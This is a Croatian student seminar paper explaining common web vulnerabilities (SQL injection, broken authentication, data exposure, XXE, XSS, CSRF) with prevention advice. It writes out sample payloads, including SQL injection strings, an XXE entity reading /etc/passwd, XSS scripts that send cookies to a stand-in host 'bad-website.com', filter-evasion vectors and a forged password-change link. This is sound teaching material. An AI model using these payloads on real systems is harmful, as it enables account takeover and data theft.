Sadržaj

Ranjivosti web aplikacija

Sažetak

U ovom seminaru su opisane neke od najvećih ranjivosti web aplikacija ranjivosti, pruženi su primjeri i veze za daljnje istraživanje. Opisane su prve 3 ranjivosti na OWASP Top 10 listi, a osim njih opisane su ranjivosti XXE, XSS i CSRF.

Keywords: web; security, owasp; xxe, xss, csrf, injection

Uvod

U trenutku pisanja ovog seminara na internetu je postojalo više od milijardu i sedamsto četrdeset milijuna web stranica. Web stranice svakim danom nastaju, rastu i postaju sve složenije, te je mnogima u cilju što kraći i što jeftiniji razvoj što kao posljedicu ima nižu sigurnost. To predstavlja poseban problem kada stranice barataju zdravstvenim, financijskim i drugim osjetljivim podacima.
Izvješće OWASP Top 10 iz 2017. godine napisano od strane neprofitne organizacije Open Web Application Security Project (OWASP) popisuje najznačajnije ranjivosti web aplikacija, i iako nije težak posao spriječiti mnoge od njih, one su i dalje veoma zastupljene i stvaraju štetu. U ovom seminaru su uz primjere opisane neke od tih ranjivosti te su pružene veze za daljnje istraživanje.

Izvješće je dostupno na poveznici, a rang liste ranjivosti iz 2013. i 2017. godine prikazane su na slici 1.


Slika 1

Slika 1) OWASP Top 10 liste najznačajnijih ranjivosti iz 2013. i 2017. godine

Umetanje (Injection)

Umetanje (eng. Injection) je zadržalo prvo mjesto OWASP Top 10 ljestvice koje je imalo i u istraživanju 2013. godine. Vjerojatno najpopularniji tip umetanja napada je SQL umetanje, no postoje i drugi poput NoSQL, LDAP, XPath umetanja i umetanja komandi operacijskog sustava prikazanog na slici 2. . Ako web aplikacija nije dobro zaštičena, bilo koji prostor za korisnički unos može se pretvoriti u sredstvo napada, te time ugroziti tajnost ili samo postojanje podataka, a u nekim slučajevima moguće je i da napadač preuzme kontrolu nad cijelim sustavom. Kako bi spriječili injection napad potrebno je provjeravati i filtrirati sve unose korisnika, te obratiti pozornost na preskakanje specijalnih znakova te korištenje pripremljenih ili pohranjenih procedura u SQL upitima (eng. prepared statements).

Slika 2) Primjer umetanja komandi operacijskog sustava

Kao ilustraciju SQL umetanja, uzmimo za primjer da postoji web stranica koja od korisnika traži da njegovu identifikacijsku oznaku i zatim po toj oznaci pretražuje bazu podataka i ispisuje njegovo ime, prezime i biračko mjesto. U nastavku su unosi koji mogu ili trajno oštetiti bazu podataka ili ugroziti tajnost podataka koje ona sadrži.

19876655443322 OR 1=1
105; DROP TABLE Users
id=1 UNION SELECT name,surname,password FROM Users WHERE name='Admin'

Autentifikacija i upravljanje sjednicama (Broken Authentication)

Postoje brojne ranjivosti vezane za autentifikaciju korisnika, a nabrojane su u nastavku.

Pod ranjivosti vezane za autentifikaciju ubraja se sljedeće:
- web aplikacija dozvoljava jednostavne lozinke
- korištenje pretpostavljenih (eng. default) lozinki u produkciji (pogotovo za administratorske račune)
- neotpornost na napad grubom silom (eng. bruteforce)
- neotpornost na automatizirane napade (npr. credential stuffing)
- slab ili nepostojeći oporavak lozinke
- spremanje lozinke u čistom (eng. plain text) obliku ili slabim sažimanjem
- nepostojeća višestruka autorizacija (eng. Multi-factor authentication)

Pod ranjivosti vezane za upravljanje sjednicama ubraja se sljedeće:
- identifikator sjednice (eng. Session ID) vidljiv unutar URL-a
- nastavak korištenja starog identifikatora sjednice nakon uspješne prijave korisnika
- web aplikacija ne poništava identifikatore sjednice (nakon odjave ili određenog perioda neaktivnosti)

I 2013. i 2017. godine ova se ranjivost nalazi na drugom mjestu OWASP Top 10 ljestvice.

Nesigurno upravljanje osljetljivim podacima (Sensitive Data Exposure)

Ova ranjivost odnosi se na osjetljive podatke u prijenosu ili u pohranjenom obliku. Budući da HTTP protokol ne čuva stanje, podaci o sjednici ili korisniku moraju putovati u svakom zahtjevu što može predstavljati sigurnosni rizik.

Razne web aplikacije raspolažu raznim osjetljivim podacima, poput lozinki, brojeva kreditnih kartica, zdravstvenim i osobnim podacima ili poslovnim tajnama. Regulativama poput GDPR-a (General Data Protection Regulation) pokušava se prisiliti sve one koji upravljaju osjetljivim podacima da paze na njihovu sigurnost.

Za početak, veoma je bitno da osjetljivi podaci ne putuju u nešifriranom obliku protokolima kao što su HTTP, SMTP i FTP. Nadalje, bitno je kako ih pohranjujemo. Osjetljive podatke potrebno je šifrirati i pritom obratiti pozornost da koristimo siguran algoritam šifriranja. Uz to, moramo paziti koji podaci su dostupni kojim korisnicima i onemogućiti da korisnici jednostavnim trikovima, na primjer izmjenom URL adrese ili ubacivanjem malicioznog koda kroz prostore za unos teksta ili datoteka, ili nekim kompliciranijim metodama dođu do podataka koji nisu njima namijenjeni. Također, potrebno je i provjeravati valjanost certifikata korisnika.

Ako web aplikacija svoje podatke nije dobro osigurala, posljedice mogu biti katastrofalne, a mogu biti samo veoma iritantne poput spama na slici 3. U ovom slučaju riječ je o curenju email adrese i lozinke s treće stranice, prvotni napadač je email i lozinku vjerojatno prodao te sada kupac isprobava kupljenu kombinaciju emaila i lozinke na raznim stranicama, u ovom slučaju na Blizzardu.

Slika 3) Spam uzrokovan curenjem podataka

Preporučuje se da na različitim mjestima koriste različite lozinke (upravo radi toga napad na prethodnoj slici nije bio uspješan), te da se sumnjive stranice izbjegavaju. Stranice poput http://haveibeenpwned.com omogućuju provjeru kompromitiranosti određene email adrese.

Od 2017. godine ova se ranjivost nalazi na trećem mjestu OWASP Top 10 ljestvice.

Vanjski XML entiteti (XXE)

XXE (XML External Entity), često nazivan i XML umetanje (eng. XML injection), je napad usmjeren na web aplikacije koje obrađuju XML tipove podataka. Napad je najlakše objasniti sljedećim primjerom gdje želimo dodati novi blog unos na nekoj web stranici:

<?xml version="1.0" encoding="ISO-8859-1"?>
<post>
<title>Naslov</title>
<content>Neki text</content>
</post>

Te od stranice dobivamo odgovor:

"Blog post sa naslovom Naslov je uspješno unesen."

Sada ćemo izmijeniti podatke koje šaljemo u XML formatu kako bismo pristupili zaštićenim podacima. Sljedeća XML poruka će sadržaj datoteke /etc/passwd prepisati u entitet (varijablu) xxe, te ih zatim ispisati umjesto naslova.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE base [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<post>
   <title>&xxe;</title>
   <content>Neki text</content>
</post>

Važno je obratiti pozornost na treću liniju u kojoj se definira vanjski entitet (eng. external entity), odnosno u kojoj se sadržaj datoteke /etc/passwd učitava u entitet xxe. Ovaj puta od stranice dobivamo odgovor:

Blog post s naslovom root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false je uspješno unesen.

Kako bi spriječili ovakve napade, potrebno je analizirati i validirati XML dokumente prije parsiranja. U tu svrhu mogu nam pomoći programska rješenja za analizu izvornog koda aplikacija, više o njima moguće je pročitati na sljedećoj poveznici.

OWASP “šalabahter” za prevenciju XXE ranjivosti dostupan je na sljedećoj poveznici.

Cross Site Scripting (XSS)

Cross Site Scripting je jedan od poznatijih napada u kojem se iskorištava svojstvo da se određeni kod, pisan primjerice u Javascriptu ili HTML-u, izvršava u web browseru na računalu klijenta. Ciljevi ovakvog napada najčešće su krađa kolačića (eng. cookies) ili tokena sjednice (eng. session token) što je nužno za preuzimanje identiteta klijenta i korištenje istoga u štetne svrhe. Također, često je i umetanje sadržaja na napadnutu web stranicu, poput reklama, phishing obrazaca za unos(eng. form), keyloggera ili preusmjeravanje na zlonamjerno sjedište.

XSS napadi dijele se u dvije osnovne skupine: pohranjeni (eng. stored) i odbijeni (ili odraženi, eng. reflected).

Pohranjeni XSS napadi su oni gdje se zlonamjerna skripta trajno pohranjuje na ciljne poslužitelje, na primjer u bazi podataka, dnevniku posjetitelja, listi komentara i slično. Kada žrtva zatraži pohranjenu informaciju, ona dobiva malicioznu skriptu koja se zatim izvršava u njenom web pretraživaču. Uzmimo za primjer da neki forum ne provjerava kakve komentare korisnici objavljuju. Korisnik može u polje komentara staviti skriptu:

<script>
  document.location='http://bad-website.com/cookiestealer?c='+document.cookie;
</script>

I taj se komentar pohranjuje na server te se izvršava na računalu svih klijenata koje otvore listu komentara na tom forumu i šalje njihove kolačiće napadaču. U ovom slučaju korisnik će biti preusmjeren na bad-website.com koja može spremiti kolačiće i preusmjeriti korisnika na google ili neku drugu stranicu, napad se dakako može izvesti i na suptilniji način, na primjer:

<script>
  new Image().src='http://bad-website.com/cookiestealer?c='+document.cookie;
</script>

Korisnik vjerojatno neće uopće primijetiti da se ovaj kod izveo.

Odbijeni XSS napadi šalju se žrtvama drugim putem, poput e-pošte ili neke druge web stranice. Ako korisnik klikne na zlonamjernu vezu, ispuni i pošalje zlonamjeran obrazac ili pak samo posjeti zlonamjernu web stranicu, zlonamjeran kod putuje na ranjivu web stranicu, što odražava napad natrag u korisnikov preglednik. Preglednik izvršava kod jer je došao sa “pouzdanog” poslužitelja.

<a href="http://vulnerable-web.com?q=<script%20src='http://bad-website.com/cookiethief.js'></script>">Unsubscribe</a>

Osim gore navedenih <script>…</script> zlonamjernih skripti, postoje i drugi načini umetanja zlonamjernog koda kojima se može zaobići osnovna zaštita:

"%3cscript%3e%61lert(document.cookie)%3c/script%3e
<body onload=alert(document.cookie)>
<b onmouseover=alert(document.cookie)>click me!</b>
<img src="non.existant.img.path" onerror=alert(document.cookie);>

Na poveznici je dostupna interaktivna web stranica na kojoj možete na različitim primjerima isprobati kako izgleda XSS napad.

OWASP “šalabahter” za prevenciju XSS ranjivosti dostupan je na sljedećoj poveznici.

Cross Site Request Forgery (CSRF)

CSRF je napad pri kojem se žrtva namami da pošalje naredbu ranjivoj web aplikaciji u kojoj je trenutno prijavljena. Ranjivost iskorištava svojstvo preglednika da automatski uključuju autentifikacijske podatke (npr. sjednicu, IP adresu) u svaki zahtjev, te da sjedište vjeruje pregledniku korisnika. Ovaj napad se još naziva i XSRF, slično XSS-u s kojim se često koristi zajedno. Na slici 4 prikazan je jednostavan obrazac za promjenu lozinke, a ispod slike pripadan HTML kod.

Slika 4) Obrazac za promjenu lozinke

    <form action="#" method="GET">
        New password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
        Confirm new password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
        <br />
        <input type="submit" value="Change" name="Change">
    </form>

Napadač koji je upoznat s ovom ranjivošću svojoj bi žrtvi mogao poslati emailom (ili nekim drugim putem) sljedeću poveznicu:

http://vulnerable-web.com?password_new=password123&password_conf=password123&Change=Change.

Ako korisnik na nju klikne, promjenit će svoj password u password123. Sada zamislimo da neka druga stranica nudi opciju slanja novca i kakve bi posljedice donesao ovakav propust u kojem napadač jednostavnim slanjem posebno složene poveznice može nekome ukrasti novac.

Ova ranjivost od 2017. godine više ne spada u OWASP Top 10, a razni okviri poput Spring Security-a imaju uključenu zaštitu protiv istoga u inicijalnim postavkama. Zaštita se sastoji od CSRF tokena odnosno jedinstvene, tajne i pseudoslučajne vrijednosti koja se web sjedištu predaje unutar HTTP zahtjeva. U kontekstu prethodnog primjera, dovoljno bi bilo dodati još jedno ulazno polje:

<input type="hidden" name="csrf-token" value="d7H8juiKjdDe3r8Uijhg987aVBN" />

Ovo je rješenje je dobro, no i dalje potencijalno ranjivo XSS napadom.

OWASP “šalabahter” za prevenciju CSRF ranjivosti dostupan je na sljedećoj poveznici.

Zaključak

Sigurnost se pri razvoju web stranica često zanemaruje zbog visoke cijene ili nedostatka vremena, a posljedice toga mogu biti ozbiljne i skupe. Novi napadi se pojavljuju vrlo često, a u sličnom ritmu ih prate zakrpe i rješenja, stoga je važno biti u toku i pratiti je li vaša web aplikacija u skladu sa standardima i preporukama. Također, za velik broj napada veoma je bitan društveni inženjering, stoga je firmama važno imati educirane zaposlenike.

Izvori

  1. Sigurnost web aplikacija, prezentacija s predmeta Sigurnost u internetu na Fakultetu elektrotehnike i računarstva, 2019. URL https://www.fer.unizg.hr/_download/repository/SuI-9-HTTP-Web.pdf